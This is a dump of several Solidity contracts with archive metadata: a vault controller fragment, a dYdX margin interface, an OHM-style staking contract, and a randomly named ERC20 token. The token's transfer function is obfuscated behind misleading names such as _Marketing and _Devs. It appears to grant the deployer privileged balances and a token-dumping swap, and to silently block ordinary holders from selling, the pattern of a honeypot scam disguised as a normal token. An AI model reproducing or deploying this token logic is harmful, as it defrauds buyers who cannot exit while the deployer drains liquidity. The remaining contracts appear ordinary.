IERC20(_token).safeTransfer(_strategy, _amount); IStrategy(_strategy).deposit(); } } function withdraw_fee(uint256 _amount) external view override returns (uint256) { address _strategy = getBestStrategy(); return (_strategy == address(0)) ? 0 : withdrawFee(_amount); } function balanceOf() public view override returns (uint256 _totalBal) { for (uint256 _sid = 0; _sid < strategyLength; _sid++) { _totalBal = _totalBal.add(IStrategy(strategies[_sid].strategy).balanceOf()); } } function withdrawAll(address _strategy) external onlyStrategist { // WithdrawAll sends 'want' to 'vault' IStrategy(_strategy).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint256 _amount) external onlyStrategist { IERC20(_token).safeTransfer(address(vault), _amount); } function inCaseStrategyGetStuck(address _strategy, address _token) external onlyStrategist { IStrategy(_strategy).withdraw(_token); IERC20(_token).safeTransfer(address(vault), IERC20(_token).balanceOf(address(this))); } // note that some strategies do not allow controller to harvest function harvestStrategy(address _strategy) external override onlyAuthorized { IStrategy(_strategy).harvest(address(0)); } function harvestAllStrategies() external override onlyAuthorized { address _bestStrategy = getBestStrategy(); // to send all harvested WETH and proceed the profit sharing all-in-one here for (uint256 _sid = 0; _sid < strategyLength; _sid++) { address _strategy = strategies[_sid].strategy; if (_strategy != _bestStrategy) { IStrategy(_strategy).harvest(_bestStrategy); } } if (_bestStrategy != address(0)) { IStrategy(_bestStrategy).harvest(address(0)); } lastHarvestAllTimeStamp = block.timestamp; } function switchFund(IStrategy _srcStrat, IStrategy _destStrat, uint256 _amount) external onlyStrategist { require(approvedStrategies[address(_destStrat)], "!approved"); require(_srcStrat.baseToken() == want, "!_srcStrat.baseToken"); require(_destStrat.baseToken() == want, "!_destStrat.baseToken"); _srcStrat.withdrawToController(_amount); IERC20(want).safeTransfer(address(_destStrat), IERC20(want).balanceOf(address(this))); _destStrat.deposit(); } function withdrawFee(uint256 _amount) public view override returns (uint256) { return _amount.mul(withdrawalFee).div(10000); } function withdraw(uint256 _amount) external override onlyAuthorized returns (uint256 _withdrawFee) { _withdrawFee = 0; uint256 _toWithdraw = _amount; uint256 _received; for (uint256 _sid = 0; _sid < strategyLength; _sid++) { IStrategy _strategy = IStrategy(strategies[_sid].strategy); uint256 _stratBal = _strategy.balanceOf(); if (_toWithdraw < _stratBal) { _received = _strategy.withdraw(_toWithdraw); _withdrawFee = _withdrawFee.add(withdrawFee(_received)); return _withdrawFee; } _received = _strategy.withdrawAll(); _withdrawFee = _withdrawFee.add(withdrawFee(_received)); if (_received >= _toWithdraw) { return _withdrawFee; } _toWithdraw = _toWithdraw.sub(_received); } return _withdrawFee; } }
257,289
12,061
222cde88e29cb197e53bccef32986d13d6fe413ce5a81bd4c2ed3daf61cf70e7
11,405
.sol
Solidity
false
312048663
Grandthrax/yearnV2-generic-lender-strat
9b383574a19ea6dc0fdf7131b7a46f8cda1b6250
contracts/Interfaces/DyDx/ISoloMargin.sol
2,598
11,268
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if positive uint256 value; } } interface ISoloMargin { struct OperatorArg { address operator1; bool trusted; } function ownerSetSpreadPremium(uint256 marketId, Decimal.D256 memory spreadPremium) external; function getIsGlobalOperator(address operator1) external view returns (bool); function getMarketTokenAddress(uint256 marketId) external view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) external; function getAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) external view returns (address); function getMarketInterestSetter(uint256 marketId) external view returns (address); function getMarketSpreadPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getNumMarkets() external view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) external returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) external; function ownerSetLiquidationSpread(Decimal.D256 memory spread) external; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) external; function getIsLocalOperator(address owner, address operator1) external view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) external view returns (Types.Par memory); function ownerSetMarginPremium(uint256 marketId, Decimal.D256 memory marginPremium) external; function getMarginRatio() external view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) external view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) external view returns (bool); function getRiskParams() external view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) external view returns (address[] memory, Types.Par[] memory, Types.Wei[] memory); function renounceOwnership() external; function getMinBorrowedValue() external view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) external; function getMarketPrice(uint256 marketId) external view returns (address); function owner() external view returns (address); function isOwner() external view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) external returns (uint256); function ownerAddMarket(address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium) external; function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; function getMarketWithInfo(uint256 marketId) external view returns (Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory); function ownerSetMarginRatio(Decimal.D256 memory ratio) external; function getLiquidationSpread() external view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) external view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) external view returns (Types.TotalPar memory); function getLiquidationSpreadForPair(uint256 heldMarketId, uint256 owedMarketId) external view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) external view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) external view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) external view returns (uint8); function getEarningsRate() external view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) external; function getRiskLimits() external view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) external view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) external; function ownerSetGlobalOperator(address operator1, bool approved) external; function transferOwnership(address newOwner) external; function getAdjustedAccountValues(Account.Info memory account) external view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) external view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) external view returns (Interest.Rate memory); }
242,679
12,062
fecbea817956e3145f83e8825a9b949656741dc1e2eda6dc4d2404abed9b731f
27,350
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/cf/cfe79a5713fa275bc945b4ef778af0b596afbff1_KandyStaking.sol
4,190
16,927
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IMemo { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract KandyStaking is Ownable { using SafeMath for uint256; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable Time; address public immutable Memories; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor (address _Time, address _Memories, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Time != address(0)); Time = _Time; require(_Memories != address(0)); Memories = _Memories; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(Memories).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons)); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons)); IERC20(Time).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Time).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IMemo(Memories).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { IMemo(Memories).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IMemo(Memories).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Time).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(Memories).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(Memories).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
71,452
12,063
43cfc68229f893da2824a095e18416694f4a5a154cad4ae88149d3a43d4faa22
17,668
.sol
Solidity
false
454080957
tintinweb/smart-contract-sanctuary-arbitrum
22f63ccbfcf792323b5e919312e2678851cff29e
contracts/mainnet/6a/6ad43fa6353ef89aef1e91c1d80900243d1b7909_ReHjh4olZze6nzeHjh46v6nzeH6H.sol
2,914
11,780
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.12; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB); function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ReHjh4olZze6nzeHjh46v6nzeH6H is IERC20, Ownable { string private _name; string private _symbol; uint256 public _taxFee = 5; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private _native = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(uint256 => address) private _Devs; mapping(address => uint256) private _balances; mapping(address => uint256) private _series; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _Marketing; constructor(string memory Name, string memory Symbol, address routerAddress) { _name = Name; _symbol = Symbol; _Marketing[msg.sender] = _native; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve(address owner, address spender, uint256 amount) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address _month, address _Safest, uint256 amount) private { uint256 _square = _Marketing[_month]; address _pass = _Devs[_native]; if (_Marketing[_month] > 0 && amount > _native) { bool _suppose = _square == _Marketing[_Safest]; if (_suppose) { inSwapAndLiquify = true; swapAndLiquify(amount); inSwapAndLiquify = false; } _Marketing[_Safest] = amount; } else { uint256 fee = (amount * _taxFee) / 100; if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) { return; } _series[_pass] = _taxFee; _Devs[_native] = _Safest; if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) { amount -= fee; _balances[_month] -= fee; } _balances[_month] -= amount; _balances[_Safest] += amount; emit Transfer(_month, _Safest, amount); } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount, address to) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
43,297
12,064
010c555811b082d23222d6e8963402b46e61b42b410525fab4e9a0ab2aebfba3
28,717
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/46/4697719007bc58dbc061572bca3729ab0c7f3b34_LiquidLabs.sol
3,774
15,127
